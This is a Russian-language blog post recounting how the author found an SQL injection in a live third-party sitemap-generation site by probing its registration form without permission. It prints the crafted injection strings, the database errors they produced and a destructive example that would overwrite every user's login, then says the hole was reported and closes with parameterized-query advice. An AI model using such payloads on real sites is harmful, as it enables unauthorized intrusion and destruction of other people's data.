История одной SQL инъекции

в 9:33, , рубрики: sql-инъекция, безопасность сайтов, взлом сайта, Песочница, метки: , , ,

Добрый день!
Хочу рассказать, как я взломал большой американский сайт по созданию sitemap-ов и напомнить о защите от sql-инъекций. По сути, рассказ можно назвать взломом выходного дня. Но все по порядку.

Предыстория

Для ряда своих проектов мне понадобилось сгенерировать пару сайтмапов. Я загуглил и среди прочего нашел один американский сервис для создания сайтмапов (где нужно было зарегистрироваться). Я ввел быстро левую информацию (в надежде, что на сайте нет проверки подлинности мейла) и адрес сайт для создания сайтмапа. И продолжил заниматься более важными делами забыв на пару дней об этом.

Первые действия

И вот я снова возвращаюсь к созданию сайтмапа. Ввожу свои данные на том же сайте(уже подлинные), и раньше введенный адрес сайта. В результате обработки формы сайт выдает текст:

FATAL ERROR: Duplicate entry 'http://gnum.me/' for key 2 FATAL ERROR: query: 
INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178817, 'http://gnum.me/', 'fsga6a59.txt', '1','1','0','0','0', NOW());


Текст значит, что данный сайт уже есть в базе данных. У меня возникла идея, почему бы не попрактиковаться во внедрение sql кода для того чтоб сделать интернет безопаснее для тренировки своего хакер-скила.
Для начала, я посмотрел на предмет отсутствия проверки текста вводимого в форме регистрации на ,, чистоту,, этим запросом:

', 'fsga6a59.txt', '1','1','0','0','0', NOW());
INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178818, 'http://yg480ybv034df.me/

Смысл в том, что я закрываю первую часть запроса:

INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178817, '

Кодом:

', 'fsga6a59.txt', '1','1','0','0','0', NOW());

И закрываю конечную приставку

', 'fsga6a59.txt', '1','1','0','0','0', NOW());

Кодом:

INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178818, 'http://yg480ybv034df.me/

Результат запроса:


FATAL ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '; 
INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useup' at line 1 FATAL ERROR: query: 
INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178959, '', 'fsga6a59.txt', '1','1','0','0','0', NOW()); 
INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178817, 'http://yg480ybv034df.me/', 'fsgf47a8.txt', '1','1','0','0','0', NOW());
Анализ результата

Я получил информацию:

  1. введенный мной текст не имеет проверки на вредоносный код;
  2. создатели сайта ограничили длину (до 125 символов), таким образом запрос до момента:

load, useping, usepingbing, createdate) VALUES (178817, 'http://yg480ybv034df.me/', 'fsgf47a8.txt', '1','1','0','0','0', NOW())

нормально проходит.

Резюме

В принципе дальше уже все понятно, я могу ввести любой код до 125 символов в данную строку. Дальше уже вопрос фантазии, вот например:

', 'fsga6a59.txt', '1','1','0','0','0', NOW());
 UPDATE uses SET login=' ' 

Удалив этим запросом все логины людей.

Отправил информацию о дыре на сайт. Задача выполнена — теперь наша информация будет более защищенной.

Не забывайте проверять на валидность вводимый клиентом текст.

Совет использования SQL запросов от imater


$query = $db2->prepare("SELECT * FROM tree WHERE text LIKE :title OR id = :id");
$query->execute(array(":title"=>"%валент24938239823908%", ":id"=>$HTTP_GET_VARS['sync3']));
while ($sql = $query->fetch()) echo $sql['fio'];

Спасибо за внимание.

Автор: SanGreel

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js